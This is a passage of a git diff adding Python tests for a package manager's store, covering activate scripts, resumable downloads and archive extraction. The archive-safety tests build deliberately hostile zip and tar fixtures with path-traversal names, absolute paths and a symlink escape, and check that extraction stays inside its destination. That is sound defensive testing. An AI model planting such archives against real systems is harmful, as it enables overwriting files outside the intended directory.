monkeypatch.setattr(cli_mod, "_node_command", lambda _: "/usr/bin/npm") monkeypatch.setattr( cli_mod.subprocess, "run", lambda cmd, **kw: types.SimpleNamespace(returncode=1, stderr=huge_stderr), @@ -162,7 +162,7 @@ def test_regression_none_stderr_does_not_crash( ) -> None: """On some platforms/configurations proc.stderr can be None even with stderr=PIPE (e.g. encoding errors). _install_sidecar() must handle this.""" - monkeypatch.setattr(cli_mod.shutil, "which", lambda _: "/usr/bin/npm") + monkeypatch.setattr(cli_mod, "_node_command", lambda _: "/usr/bin/npm") monkeypatch.setattr( cli_mod.subprocess, "run", lambda cmd, **kw: types.SimpleNamespace(returncode=1, stderr=None), @@ -187,7 +187,7 @@ def test_regression_stale_log_not_surfaced_after_successful_reinstall( error_log.write_text("stale: npm ERR! old failure", encoding="utf-8") # Successful reinstall clears the log - monkeypatch.setattr(cli_mod.shutil, "which", lambda _: "/usr/bin/npm") + monkeypatch.setattr(cli_mod, "_node_command", lambda _: "/usr/bin/npm") monkeypatch.setattr( cli_mod.subprocess, "run", lambda cmd, **kw: types.SimpleNamespace(returncode=0, stderr=""), diff --git a/tests/pm/__init__.py b/tests/pm/__init__.py new file mode 100644 index 0000000000..e69de29bb2 diff --git a/tests/pm/_range_server.py b/tests/pm/_range_server.py new file mode 100644 index 0000000000..414b061fa9 --- /dev/null +++ b/tests/pm/_range_server.py @@ -0,0 +1,112 @@ +"""Shared Range-honoring loopback server for pm downloader tests. + +Both test_downloader.py and test_store_resume.py exercise real downloads +through this one server instead of each re-implementing it. Behaviour is +configured with class attributes on :class:`RangeHandler`; the ``dl_server`` +fixture starts one and resets its state. +""" + +from __future__ import annotations + +import threading +import time +from http.server import BaseHTTPRequestHandler, HTTPServer + +import pytest + + +class RangeHandler(BaseHTTPRequestHandler): + payloads: dict = {} + ranges_seen: list = [] # (path, start, end) from real Range requests + abort_after: int | None = None # close the connection after this many bytes + slow_per_chunk: float = 0.0 # sleep per served piece (pause tests) + no_range: bool = False # ignore Range, serve 200 full body + chunk: int = 1 << 20 # serve piece size + + def log_message(self, *args): # noqa: A002 - silence request logging + pass + + def do_GET(self): # noqa: N802 - http.server API + payload = self.payloads.get(self.path) + if payload is None: + self.send_error(404) + return + if self.no_range: + # A server that ignores Range: 200 with the full body, even + # when the client asked for a byte range. + self.send_response(200) + self.send_header("Content-Length", str(len(payload))) + self.end_headers() + served = 0 + while served < len(payload): + if self.abort_after is not None and served >= self.abort_after: + self.connection.close() + return + if self.slow_per_chunk: + time.sleep(self.slow_per_chunk) + piece = payload[served:served + self.chunk] + self.wfile.write(piece) + self.wfile.flush() + served += len(piece) + return + rng = self.headers.get("Range") + if rng: + spec = rng.removeprefix("bytes=") + if spec == "0-0": + # probe: 206 with total from Content-Range, 1 byte body + total = len(payload) + self.send_response(206) + self.send_header("Content-Range", f"bytes 0-{total - 1}/{total}") + self.send_header("Content-Length", "1") + self.end_headers() + self.wfile.write(payload[:1]) + self.wfile.flush() + return + start_s, end_s = spec.split("-", 1) + start, end = int(start_s), int(end_s) + self.ranges_seen.append((self.path, start, end)) + body = payload[start:end + 1] + self.send_response(206) + self.send_header("Content-Range", + f"bytes {start}-{end}/{len(payload)}") + self.send_header("Content-Length", str(len(body))) + self.end_headers() + served = 0 + while served < len(body): + if self.abort_after is not None and served >= self.abort_after: + self.connection.close() + return + if self.slow_per_chunk: + time.sleep(self.slow_per_chunk) + piece = body[served:served + self.chunk] + self.wfile.write(piece) + self.wfile.flush() + served += len(piece) + return + self.send_response(200) + self.send_header("Content-Length", str(len(payload))) + self.end_headers() + self.wfile.write(payload) + self.wfile.flush() + + +@pytest.fixture +def dl_server(): + RangeHandler.payloads = {} + RangeHandler.ranges_seen = [] + RangeHandler.abort_after = None + RangeHandler.slow_per_chunk = 0.0 + RangeHandler.no_range = False + RangeHandler.chunk = 1 << 20 + server = HTTPServer(("127.0.0.1", 0), RangeHandler) + thread = threading.Thread(target=server.serve_forever, daemon=True) + thread.start() + try: + yield server + finally: + server.shutdown() + server.server_close() + + +def url(server, path: str) -> str: + return f"http://127.0.0.1:{server.server_port}{path}" diff --git a/tests/pm/test_activate_scripts.py b/tests/pm/test_activate_scripts.py new file mode 100644 index 0000000000..23e13d8072 --- /dev/null +++ b/tests/pm/test_activate_scripts.py @@ -0,0 +1,337 @@ +"""The venv-style activate scripts (./activate, ./activate.ps1). + +`source ./activate` must put the composed pm env into the CURRENT shell +without ever invoking uv: it runs the pm store's pinned python (fallback: +the repo venv) to emit `python -m pm.cli env`, then exports the result, +with a venv-activate-style `deactivate` that restores the prior state. +These are real input->output checks against a fake store (same layout the +pm store uses: facts.json + a python-- entry), following +tests/pm conventions for faking the store. +""" + +from __future__ import annotations + +import json +import os +import shutil +import subprocess +import sys +from pathlib import Path + +import pytest + +from pm.store import current_target + +REPO_ROOT = Path(__file__).resolve().parents[2] +ACTIVATE = REPO_ROOT / "activate" +ACTIVATE_PS1 = REPO_ROOT / "activate.ps1" +SETUP_HERMES_SH = REPO_ROOT / "setup-hermes.sh" +SETUP_HERMES_PS1 = REPO_ROOT / "setup-hermes.ps1" +CANARY = "HERMES_PM_ACTIVATE_CANARY" + + +def _posix(path: Path) -> str: + return str(path).replace("\\", "/") + + +def _bash() -> str: + """A bash CreateProcess can start. conftest blanks SystemRoot/ComSpec + and the hermetic runner's PATH may resolve `bash` to the MSIX payload + copy under ``C:\\Program Files\\WindowsApps\\...`` (WinError 5 outside + its package context) or miss entirely — prefer a conventional install + (same pattern as the bootstrap version-stamp tests' _git_exe).""" + found = shutil.which("bash") + if found and "windowsapps" not in str(found).lower(): + return found + if sys.platform == "win32": + pf = Path(os.environ.get("ProgramFiles", r"C:\Program Files")) + for rel in (("Git", "bin", "bash.exe"), ("Git", "usr", "bin", "bash.exe")): + cand = pf.joinpath(*rel) + if cand.exists(): + return str(cand) + return found or "bash" + + +def _child_env() -> dict: + env = os.environ.copy() + if sys.platform == "win32": + env.setdefault("SystemRoot", r"C:\Windows") + env.setdefault("ComSpec", r"C:\Windows\system32\cmd.exe") + # PowerShell 5.1 silently fails to launch children through `&` + # without PATHEXT (empty output, exit 0) — the hermetic runner + # drops it, so every powershell-invoking child env needs it back. + env.setdefault( + "PATHEXT", + ".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", + ) + return env + + +def _spawnable_python() -> Path: + """An interpreter this process can actually CreateProcess. The hermetic + runner's venv python can be an emulated x64 binary on an arm64 host + (WinError 5 on every spawn); the native pm-store python under + WindowsApps works when invoked by full path. Prefer whichever python + can run a trivial child; last resort is sys.executable.""" + candidates: list[Path] = [] + for env_name in ("HERMES_TEST_PYTHON",): + val = os.environ.get(env_name) + if val: + candidates.append(Path(val)) + exe = Path(sys.executable) + if "windowsapps" in str(exe).lower(): + candidates.append(exe) # native packaged python — spawnable by path + else: + candidates.insert(0, exe) + candidates.append(exe) + for cand in candidates: + if _can_spawn(cand): + return cand + return exe + + +def _can_spawn(python: Path) -> bool: + try: + r = subprocess.run( + [str(python), "-c", "print(1)"], + capture_output=True, + text=True, + timeout=30, + env=_child_env(), + ) + return r.returncode == 0 + except Exception: + return False + + +def _fake_store(tmp_path: Path) -> tuple[Path, Path]: + """A store laid out like pm's: facts.json marking the python package + installed (identity matches pm/lock.json) with a canary env export, and + an entry whose interpreter is a wrapper that runs the real python.""" + lock = json.loads( + (REPO_ROOT / "pm" / "lock.json").read_text(encoding="utf-8-sig") + )["packages"] + target = current_target() + python_pkg = lock["python"] + sha = python_pkg["artifacts"][target]["sha256"] + + store = tmp_path / "store" + entry = store / f"python-{python_pkg['version']}-{target}" + entry.mkdir(parents=True) + + # The store interpreter only needs to run `python -m pm.cli env` — + # delegate to a real, spawnable interpreter via a #!/bin/sh wrapper (a + # copied CPython would miss its DLLs/stdlib; the wrapper is the honest + # minimal fake). sys.executable can be an emulated x64 python on an + # arm64 host that cannot CreateProcess children at all — resolve a + # spawnable interpreter instead (see _spawnable_python). The wrapper + # works even named python.exe because activate execs it through + # bash/MSYS, which honors #!-scripts regardless of suffix. + interpreter = entry / "bin" / ( + "python.exe" if sys.platform.startswith("win") else "python" + ) + interpreter.parent.mkdir(parents=True) + real = _spawnable_python() + wrapper = "#!/bin/sh\nexec '%s' \"$@\"\n" % _posix(real) + interpreter.write_text(wrapper, encoding="utf-8") + interpreter.chmod(0o755) + + (store / "facts.json").write_text( + json.dumps( + { + "schema": 1, + "packages": { + "python": { + "entry": entry.name, + "version": python_pkg["version"], + "env": {CANARY: "env-ok"}, + "target": target, + "artifacts": [sha], + } + }, + } + ), + encoding="utf-8", + ) + return store, entry + + +def _bash_env(store: Path) -> dict: + env = os.environ.copy() + env["HERMES_RUNTIME_DIR"] = _posix(store) + # Keep the real env out of the composed pm output so the canary export + # is the only thing activate adds beyond the ambient environment. + env.pop(CANARY, None) + return env + + +def test_bash_scripts_pass_syntax_check(): + for script in (ACTIVATE, SETUP_HERMES_SH): + result = subprocess.run( + [_bash(), "-n", _posix(script)], capture_output=True, text=True, env=_child_env() + ) + assert result.returncode == 0, f"{script.name}: {result.stderr}" + + +def test_activate_never_invokes_uv(): + """The fast path must run the provisioned python directly — setup is + the only place uv bootstrap logic lives.""" + source = ACTIVATE.read_text(encoding="utf-8") + assert "uv run" not in source + assert "ensure_pinned_uv" not in source + + +def test_source_activate_exports_the_pm_env(tmp_path: Path): + store, _ = _fake_store(tmp_path) + script = ( + f'source "{_posix(ACTIVATE)}" && ' + f'test -n "$__HERMES_ACTIVATED" && ' + f'printf "%s" "${CANARY}"' + ) + result = subprocess.run( + [_bash(), "-c", script], + capture_output=True, + text=True, + cwd=_posix(REPO_ROOT), + env=_bash_env(store), + ) + assert result.returncode == 0, result.stderr + assert result.stdout == "env-ok" + + +def test_deactivate_restores_the_prior_shell(tmp_path: Path): + store, _ = _fake_store(tmp_path) + script = ( + f'source "{_posix(ACTIVATE)}" && deactivate && ' + f'test -z "${{{CANARY}+set}}" && ' + f'test -z "${{__HERMES_ACTIVATED+set}}" && ' + f"! declare -F deactivate >/dev/null && " + f'echo restored' + ) + result = subprocess.run( + [_bash(), "-c", script], + capture_output=True, + text=True, + cwd=_posix(REPO_ROOT), + env=_bash_env(store), + ) + assert result.returncode == 0, result.stderr + assert result.stdout.strip() == "restored" + + +def test_activate_fails_cleanly_without_a_store(tmp_path: Path): + env = os.environ.copy() + env["HERMES_RUNTIME_DIR"] = _posix(tmp_path / "empty-store") + env.pop(CANARY, None) + script = ( + f'source "{_posix(ACTIVATE)}" 2>/dev/null; ' + f'test $? -ne 0 && echo refused' + ) + result = subprocess.run( + [_bash(), "-c", script], + capture_output=True, + text=True, + cwd=_posix(REPO_ROOT), + env=env, + ) + # Without any provisioned python the source must refuse — never + # silently no-op with a half-activated shell. + assert "refused" in result.stdout + + +def _powershell() -> str | None: + for name in ("pwsh", "powershell"): + found = shutil.which(name) + if found and "windowsapps" not in str(found).lower(): + return found + # Prefer the conventional System32 host over an MSIX-packaged one + # (same WinError-5-outside-package-context class as _bash()); also the + # fallback when the hermetic runner's PATH misses both names. + if sys.platform == "win32": + cand = ( + Path(os.environ.get("SystemRoot", r"C:\Windows")) + / "System32" / "WindowsPowerShell" / "v1.0" / "powershell.exe" + ) + if cand.exists(): + return str(cand) + return None + + +def test_powershell_scripts_parse(): + """Parse-check the PowerShell entry points; skip gracefully when no + PowerShell host is available.""" + ps = _powershell() + if ps is None: + pytest.skip("no PowerShell host available") + for script in (ACTIVATE_PS1, SETUP_HERMES_PS1): + result = subprocess.run( + [ + ps, + "-NoProfile", + "-NonInteractive", + "-ExecutionPolicy", + "Bypass", + "-Command", + f"$errs = $null; $null = [System.Management.Automation.Language.Parser]::ParseFile(" + f"'{script}', [ref]$null, [ref]$errs); " + f"if ($errs.Count) {{ $errs | ForEach-Object {{ $_.Message }}; exit 1 }}", + ], + capture_output=True, + text=True, + ) + assert result.returncode == 0, f"{script.name}: {result.stdout}{result.stderr}" + + +def test_powershell_activate_exports_and_deactivates(tmp_path: Path): + ps = _powershell() + if ps is None: + pytest.skip("no PowerShell host available") + store, _ = _fake_store(tmp_path) + + # The store interpreter is a /bin/sh wrapper — PowerShell needs a real + # python.exe, so stage the running interpreter (+ its DLLs/zips) into + # the fake entry; if that does not yield a runnable python, skip. + entry = store / json.loads(store.joinpath("facts.json").read_text())["packages"][ + "python" + ]["entry"] + exe = Path(sys.executable) + shim = entry / "bin" / "python.exe" + for src in exe.parent.glob("*.dll"): + shutil.copy2(src, entry / "bin" / src.name) + for base in (exe.parent, Path(sys.base_prefix)): + for zipname in ("python311.zip", "python312.zip"): + if (base / zipname).exists(): + shutil.copy2(base / zipname, entry / "bin" / zipname) + if (exe.parent / "Lib").is_dir(): + shutil.copytree(exe.parent / "Lib", entry / "bin" / "Lib", dirs_exist_ok=True) + shutil.copy2(exe, shim) + + probe = subprocess.run( + [str(shim), "-c", "print(1)"], capture_output=True, text=True, env=_child_env() + ) + if probe.returncode != 0: + pytest.skip("copied interpreter is not runnable on this host") + + result = subprocess.run( + [ + ps, + "-NoProfile", + "-NonInteractive", + "-ExecutionPolicy", + "Bypass", + "-Command", + f"$env:HERMES_RUNTIME_DIR = '{store}'; " + f". '{ACTIVATE_PS1}'; " + f"$active = $env:{CANARY}; " + f"deactivate; " + f"$after = $env:{CANARY}; " + f"Write-Output ('active=' + $active + ' after=' + $after)", + ], + capture_output=True, + text=True, + cwd=str(REPO_ROOT), + env=_child_env(), + ) + assert result.returncode == 0, result.stdout + result.stderr + assert "active=env-ok" in result.stdout + assert "after=" in result.stdout and "after=env-ok" not in result.stdout diff --git a/tests/pm/test_archive_safety.py b/tests/pm/test_archive_safety.py new file mode 100644 index 0000000000..449fa2dca1 --- /dev/null +++ b/tests/pm/test_archive_safety.py @@ -0,0 +1,296 @@ +"""Hostile archives must not write outside the store entry being staged. + +Every pm package arrives as an archive from the internet. The sha256 pin +proves the bytes are the ones we reviewed, but that is a supply-chain +control, not a containment one: it says nothing about what a +legitimately-published archive does when unpacked, and a pin refresh is +a human copying a digest. So pm.store.extract itself must be safe +against path traversal, absolute paths, symlink escapes, and collisions +— and must never clobber a file it did not create. + +Ported from the restack branch's runtime-archive-safety suite, rewritten +against pm's real extraction surface (pm.store.extract / _extract_zip / +flatten_single_dir). The traversal / absolute-path / never-clobber arms +are host-independent and run on Windows; the arms that assert POSIX +symlink or mode semantics are gated to POSIX, with a separate arm +pinning pm's truthful win32 degradation. +""" + +from __future__ import annotations + +import io +import stat +import sys +import tarfile +import zipfile +from pathlib import Path + +import pytest + +from pm.store import extract, flatten_single_dir + +posix_only = pytest.mark.skipif( + sys.platform == "win32", reason="POSIX symlink/mode semantics" +) +win_only = pytest.mark.skipif( + sys.platform != "win32", reason="pins win32 degradation specifically" +) + + +def _tar(path: Path, members: dict[str, bytes]) -> Path: + staging = path.parent / f".stage-{path.stem}" + with tarfile.open(path, "w:gz") as tf: + for rel, data in members.items(): + target = staging / rel + target.parent.mkdir(parents=True, exist_ok=True) + target.write_bytes(data) + tf.add(target, arcname=rel) + return path + + +def _add_symlink(zf: zipfile.ZipFile, member: str, target: str) -> None: + """Append a symlink entry the way zip tools actually encode one: + content is the target path, external_attr mode says S_ISLNK.""" + info = zipfile.ZipInfo(member) + info.external_attr = (stat.S_IFLNK | 0o755) << 16 + zf.writestr(info, target) + + +def _add_file( + zf: zipfile.ZipFile, member: str, data: bytes = b"x", mode: int = 0o644 +) -> None: + info = zipfile.ZipInfo(member) + info.external_attr = (stat.S_IFREG | mode) << 16 + zf.writestr(info, data) + + +def _write_zip(path: Path, build) -> Path: + buf = io.BytesIO() + with zipfile.ZipFile(buf, "w") as zf: + build(zf) + path.write_bytes(buf.getvalue()) + return path + + +class TestPathTraversal: + def test_zip_entries_cannot_escape_the_destination(self, tmp_path): + archive = tmp_path / "slip.zip" + with zipfile.ZipFile(archive, "w") as zf: + zf.writestr("../../ESCAPED.txt", "pwned") + zf.writestr("bin/tool", "fine") + + dest = tmp_path / "sub" / "dest" + extract(archive, dest) + + assert not (tmp_path / "ESCAPED.txt").exists() + assert not (tmp_path.parent / "ESCAPED.txt").exists() + assert (dest / "bin" / "tool").is_file() + + def test_absolute_zip_paths_stay_inside_the_destination(self, tmp_path): + archive = tmp_path / "abs.zip" + with zipfile.ZipFile(archive, "w") as zf: + zf.writestr("/etc/PWNED.txt", "pwned") + + dest = tmp_path / "dest" + extract(archive, dest) + + assert not Path("/etc/PWNED.txt").exists() + assert (dest / "etc" / "PWNED.txt").is_file() + + def test_tar_entries_cannot_escape_the_destination(self, tmp_path): + payload = tmp_path / "payload.txt" + payload.write_text("pwned") + archive = tmp_path / "slip.tar.gz" + with tarfile.open(archive, "w:gz") as tf: + tf.add(payload, arcname="../../ESCAPED.txt") + + with pytest.raises(Exception): + extract(archive, tmp_path / "sub" / "dest") + + assert not (tmp_path.parent / "ESCAPED.txt").exists() + + def test_absolute_tar_paths_cannot_escape(self, tmp_path): + data = b"pwned" + archive = tmp_path / "abs.tar.gz" + with tarfile.open(archive, "w:gz") as tf: + entry = tarfile.TarInfo("/tmp/PWNED-pm-store.txt") + entry.size = len(data) + tf.addfile(entry, io.BytesIO(data)) + + # The data filter either strips the leading slash (extracting + # inside dest) or refuses the member; both keep / untouched. + dest = tmp_path / "dest" + try: + extract(archive, dest) + except Exception: + pass + + assert not Path("/tmp/PWNED-pm-store.txt").exists() + outside = [ + p for p in tmp_path.rglob("PWNED-pm-store.txt") if dest not in p.parents + ] + assert outside == [] + + def test_a_tar_symlink_cannot_be_used_to_write_outside(self, tmp_path): + """Classic two-entry attack: a symlink pointing out of the tree, + then a regular file written through it.""" + victim = tmp_path / "outside.txt" + victim.write_text("ORIGINAL") + + archive = tmp_path / "symlink.tar.gz" + with tarfile.open(archive, "w:gz") as tf: + link = tarfile.TarInfo("escape") + link.type = tarfile.SYMTYPE + link.linkname = "../../outside.txt" + tf.addfile(link) + + data = b"OVERWRITTEN" + entry = tarfile.TarInfo("escape") + entry.size = len(data) + tf.addfile(entry, io.BytesIO(data)) + + with pytest.raises(Exception): + extract(archive, tmp_path / "sub" / "dest") + + assert victim.read_text() == "ORIGINAL" + + +class TestZipModeHandling: + def test_a_traversing_entry_cannot_touch_a_file_outside(self, tmp_path): + """The exec-bit restore must chmod the path zipfile actually + wrote, never the raw (traversing) entry name.""" + victim = tmp_path / "victim.txt" + victim.write_text("untouched") + victim.chmod(0o644) + + archive = tmp_path / "chmod.zip" + with zipfile.ZipFile(archive, "w") as zf: + info = zipfile.ZipInfo("../../victim.txt") + info.external_attr = 0o777 << 16 + zf.writestr(info, "x") + + extract(archive, tmp_path / "sub" / "dest") + + assert victim.read_text() == "untouched" + if sys.platform != "win32": + assert victim.stat().st_mode & 0o777 == 0o644 + + @posix_only + def test_the_executable_bit_is_still_restored_for_real_entries(self, tmp_path): + """zip drops the exec bit; an un-executable binary is a broken + install, so the restore loop must keep working for honest entries.""" + archive = tmp_path / "exec.zip" + with zipfile.ZipFile(archive, "w") as zf: + info = zipfile.ZipInfo("uv") + info.external_attr = 0o755 << 16 + zf.writestr(info, "#!/bin/sh\n") + + dest = tmp_path / "dest" + extract(archive, dest) + + assert (dest / "uv").stat().st_mode & 0o111 + + +class TestCollisionsAndClobbering: + def test_duplicate_entry_names_stay_inside_dest(self, tmp_path): + """Colliding entry names are resolved inside dest (last wins); + nothing leaks out and extraction does not crash.""" + archive = tmp_path / "dupe.zip" + with zipfile.ZipFile(archive, "w") as zf: + zf.writestr("bin/tool", "first") + zf.writestr("bin/tool", "second") + + dest = tmp_path / "dest" + extract(archive, dest) + + assert (dest / "bin" / "tool").read_text() == "second" + assert list(dest.iterdir()) == [dest / "bin"] + + def test_a_hidden_top_level_file_is_not_replaced_by_flatten(self, tmp_path): + """{".config", "wrapper/.config"} must not look like a bare + wrapper: hoisting would silently replace the outer dotfile.""" + archive = _tar( + tmp_path / "hidden.tar.gz", + { + ".config": b"TOP LEVEL ORIGINAL", + "wrapper/.config": b"FROM WRAPPER", + "wrapper/bin/tool": b"x", + }, + ) + dest = tmp_path / "dest" + extract(archive, dest) + + flatten_single_dir(dest) + + assert (dest / ".config").read_bytes() == b"TOP LEVEL ORIGINAL" + + def test_a_child_named_like_its_wrapper_refuses_rather_than_clobbers( + self, tmp_path + ): + """An unflattened tree is merely ugly; a clobbered file is data + loss. pm refuses the hoist and leaves the tree intact.""" + archive = _tar(tmp_path / "same.tar.gz", {"gh/gh": b"inner"}) + dest = tmp_path / "dest" + extract(archive, dest) + + flatten_single_dir(dest) + + assert (dest / "gh" / "gh").read_bytes() == b"inner" + + def test_a_real_wrapper_still_unwraps(self, tmp_path): + archive = _tar( + tmp_path / "wrapped.tar.gz", {"gh_2.97.0_linux_amd64/bin/gh": b"x"} + ) + dest = tmp_path / "dest" + extract(archive, dest) + + flatten_single_dir(dest) + + assert (dest / "bin" / "gh").is_file() + + def test_a_lone_layout_dir_is_left_alone(self, tmp_path): + """A bare bin/ IS the tool's layout, not a wrapper.""" + archive = _tar(tmp_path / "flat.tar.gz", {"bin/gh": b"x"}) + dest = tmp_path / "dest" + extract(archive, dest) + + flatten_single_dir(dest) + + assert (dest / "bin" / "gh").is_file() + + +class TestStoreIsolation: + def test_extract_replaces_only_its_own_entry_directory(self, tmp_path): + """Each staged entry owns exactly its dest dir. Neighbouring + store entries and unrelated files must survive a re-stage.""" + store = tmp_path / "store" + (store / "node-abc" / "bin").mkdir(parents=True) + (store / "node-abc" / "bin" / "node").write_text("other entry") + keep = store / "downloads" / "important.bin" + keep.parent.mkdir(parents=True) + keep.write_text("KEEP") + + archive = _tar(tmp_path / "gh.tar.gz", {"bin/gh": b"x"}) + extract(archive, store / "gh-def") + + assert (store / "node-abc" / "bin" / "node").read_text() == "other entry" + assert keep.read_text() == "KEEP" + + def test_restaging_clears_a_stale_tree_first(self, tmp_path): + """A file from an older version must not linger inside the + entry's own directory and shadow the new layout.""" + dest = tmp_path / "gh" + dest.mkdir() + (dest / "STALE").write_text("from an older version") + + archive = _tar(tmp_path / "gh.tar.gz", {"bin/gh": b"x"}) + extract(archive, dest) + + assert not (dest / "STALE").exists() + assert (dest / "bin" / "gh").is_file() + + def test_unsupported_archive_names_are_refused(self, tmp_path): + weird = tmp_path / "tool.rar" + weird.write_bytes(b"not really") + with pytest.raises(ValueError, match="unsupported archive"): + extract(weird, tmp_path / "dest") diff --git a/tests/pm/test_develop_env.py b/tests/pm/test_develop_env.py new file mode 100644 index 0000000000..bbeaa0ac2f --- /dev/null +++ b/tests/pm/test_develop_env.py @@ -0,0 +1,108 @@ +"""`pm develop` must boot the pm STORE python — never the venv. + +Under no-boot-through-venv (pm work item 3) the devshell's `python` +resolves through the store interpreter's bin dir, imports arrive via +PYTHONPATH=;/site-packages (repo first), and VIRTUAL_ENV plus +the venv bin dir are deliberately absent — the venv is only a uv sync +target and pyvenv.cfg is inert dead config. The env composition lives in +``pm.cli._develop_env`` so these are real input→output checks against a +fake store, not source-text assertions. +""" + +from __future__ import annotations + +import json +import os +from pathlib import Path + +import pytest + +import pm.cli as pm_cli +import pm.paths as paths +from pm.store import current_target + + +def _fake_store(tmp_path: Path, monkeypatch, *, with_python: bool = True): + """A store laid out like pm's: facts.json + a python entry. The + interpreter file's bytes don't matter — only the layout does.""" + store = tmp_path / "store" + entry = store / "python-3.11.15+x20260807-win32-arm64" + (entry / "bin").mkdir(parents=True) + if with_python: + (entry / "bin" / "python3").write_bytes(b"MZ") + (entry / "python.exe").write_bytes(b"MZ") + (store / "facts.json").write_text( + json.dumps( + { + "schema": 1, + "packages": { + "python": { + "entry": entry.name, + "version": "3.11.15+x20260807", + } + }, + } + ), + encoding="utf-8", + ) + monkeypatch.setenv("HERMES_RUNTIME_DIR", str(store)) + return store, entry + + +def _fake_repo(tmp_path: Path, monkeypatch) -> Path: + """A fake repo root with a synced venv, substituted for pm.paths.repo_root.""" + repo = tmp_path / "repo" + win = current_target().startswith("win32") + site = repo / "venv" / ("Lib" if win else "lib/python3.11") / "site-packages" + site.mkdir(parents=True) + monkeypatch.setattr(paths, "repo_root", lambda: repo) + return repo + + +def _develop_env(tmp_path, monkeypatch, *, with_python=True): + _fake_store(tmp_path, monkeypatch, with_python=with_python) + repo = _fake_repo(tmp_path, monkeypatch) + win = current_target().startswith("win32") + site = repo / "venv" / ("Lib" if win else "lib/python3.11") / "site-packages" + return pm_cli._develop_env(["faketool"]), repo, site + + +def test_python_resolves_to_the_store_not_the_venv(tmp_path, monkeypatch): + env, _repo, _site = _develop_env(tmp_path, monkeypatch) + + assert env is not None + first_path_entry = Path(env["PATH"].split(os.pathsep)[0]) + # The store python's bin dir leads PATH — the venv bin dir never does. + assert "python-" in str(first_path_entry) + + +def test_pythonpath_is_repo_first_then_venv_site_packages(tmp_path, monkeypatch): + env, repo, site = _develop_env(tmp_path, monkeypatch) + + entries = env["PYTHONPATH"].split(os.pathsep) + assert entries[0] == str(repo) + assert str(site) in entries[1:] + + +def test_venv_boot_markers_are_absent(tmp_path, monkeypatch): + monkeypatch.setenv("VIRTUAL_ENV", str(tmp_path / "somewhere" / "venv")) + monkeypatch.setenv("PYTHONHOME", str(tmp_path / "somewhere" / "python")) + env, _repo, _site = _develop_env(tmp_path, monkeypatch) + + assert env is not None + assert "VIRTUAL_ENV" not in env + assert "PYTHONHOME" not in env + + +def test_venv_bin_dir_is_removed_from_path(tmp_path, monkeypatch): + env, repo, _site = _develop_env(tmp_path, monkeypatch) + win = current_target().startswith("win32") + venv_bin = str(repo / "venv" / ("Scripts" if win else "bin")) + + assert venv_bin not in env["PATH"].split(os.pathsep) + + +def test_no_store_python_yet_means_no_develop_env(tmp_path, monkeypatch): + env, _repo, _site = _develop_env(tmp_path, monkeypatch, with_python=False) + + assert env is None diff --git a/tests/pm/test_downloader.py b/tests/pm/test_downloader.py new file mode 100644 index 0000000000..06ae8644db --- /dev/null +++ b/tests/pm/test_downloader.py @@ -0,0 +1,426 @@ +"""pm/downloader: resumable, hash-verified, 8-way parallel downloads. + +Real downloads against a loopback Range-honoring server — no mocked +stores. Covers the seams agreed in the plan: run() semantics, the +progress(overall_done, overall_total, ranges) contract, parallelism, +resume-refetch-only-missing, pause, and the optional-hash policy. +""" + +from __future__ import annotations + +import hashlib +import json +import threading +import time +from pathlib import Path + +import pytest + +from pm.downloader import (Download, DownloadError, DownloadPaused, + HashError, Source, gc_protected_names) + +from tests.pm._range_server import RangeHandler as _Handler, dl_server, url as _url + + +def _payload(n: int, seed: bytes = b"x") -> bytes: + return seed * n + + +def _sha(data: bytes) -> str: + return hashlib.sha256(data).hexdigest() + + +# ── parallelism ─────────────────────────────────────────────── + + +def test_parallel_uses_8_connections(dl_server, tmp_path): + total = 8 * (4 << 20) # 32 MiB -> 8 x 4 MiB ranges + payload = _payload(total) + _Handler.payloads["/big"] = payload + dest = tmp_path / "big.bin" + dl = Download([Source(_url(dl_server, "/big"), dest, _sha(payload))], + partials_dir=tmp_path / "partials") + dl.run() + assert dest.read_bytes() == payload + expected = [(i * total // 8, (i + 1) * total // 8 - 1) for i in range(8)] + assert sorted((s, e) for _, s, e in _Handler.ranges_seen) == expected + + +def test_progress_carries_overall_and_ranges(dl_server, tmp_path): + p1, p2 = _payload(1000, b"x"), _payload(2000, b"y") + _Handler.payloads["/a"] = p1 + _Handler.payloads["/b"] = p2 + d1, d2 = tmp_path / "a.bin", tmp_path / "b.bin" + dl = Download([ + Source(_url(dl_server, "/a"), d1, _sha(p1)), + Source(_url(dl_server, "/b"), d2, _sha(p2)), + ], partials_dir=tmp_path / "partials") + seen = [] + dl.run(progress=lambda d, t, r: seen.append((d, t, dict(r)))) + final_d, final_t, final_r = seen[-1] + assert final_d == 3000 + assert final_t == 3000 + assert final_r["a.bin"] == [(0, 1000)] + assert final_r["b.bin"] == [(0, 2000)] + + +# ── optional hash ───────────────────────────────────────────── + + +def test_hash_mismatch_raises_and_deletes_part(dl_server, tmp_path): + _Handler.payloads["/f"] = _payload(1 << 20) + dest = tmp_path / "f.bin" + partials = tmp_path / "partials" + dl = Download([Source(_url(dl_server, "/f"), dest, "0" * 64)], + partials_dir=partials) + with pytest.raises(HashError): + dl.run() + assert not dest.exists() + assert list(partials.iterdir()) == [] # .part + .ranges both deleted + + +def test_no_hash_accepts_any_bytes_of_right_size(dl_server, tmp_path): + payload = _payload(1 << 20) + _Handler.payloads["/f"] = payload + dest = tmp_path / "f.bin" + dl = Download([Source(_url(dl_server, "/f"), dest)], + partials_dir=tmp_path / "partials") + moved = dl.run() + assert moved == [dest] + assert dest.read_bytes() == payload + + +# ── resume ──────────────────────────────────────────────────── + + +def test_resume_refetches_only_missing_ranges(dl_server, tmp_path): + payload = _payload(8 << 20) + _Handler.payloads["/r"] = payload + dest = tmp_path / "r.bin" + partials = tmp_path / "partials" + # first run: one connection, server drops after 2 MiB + _Handler.abort_after = 2 << 20 + dl = Download([Source(_url(dl_server, "/r"), dest, _sha(payload))], + partials_dir=partials, connections=1) + with pytest.raises(Exception): + dl.run() + first = list(_Handler.ranges_seen) + # second run resumes: only the missing tail is re-fetched + _Handler.abort_after = None + dl = Download([Source(_url(dl_server, "/r"), dest, _sha(payload))], + partials_dir=partials, connections=1) + dl.run() + assert dest.read_bytes() == payload + assert _Handler.ranges_seen == first + [("/r", 2 << 20, (8 << 20) - 1)] + + +def test_resume_after_crash_reads_sidecar(dl_server, tmp_path): + payload = _payload(4 << 20) + _Handler.payloads["/c"] = payload + dest = tmp_path / "c.bin" + partials = tmp_path / "partials" + partials.mkdir() + key = hashlib.sha256(_url(dl_server, "/c").encode("utf-8")).hexdigest() + (partials / f"{key}.part").write_bytes(payload[: 1 << 20]) 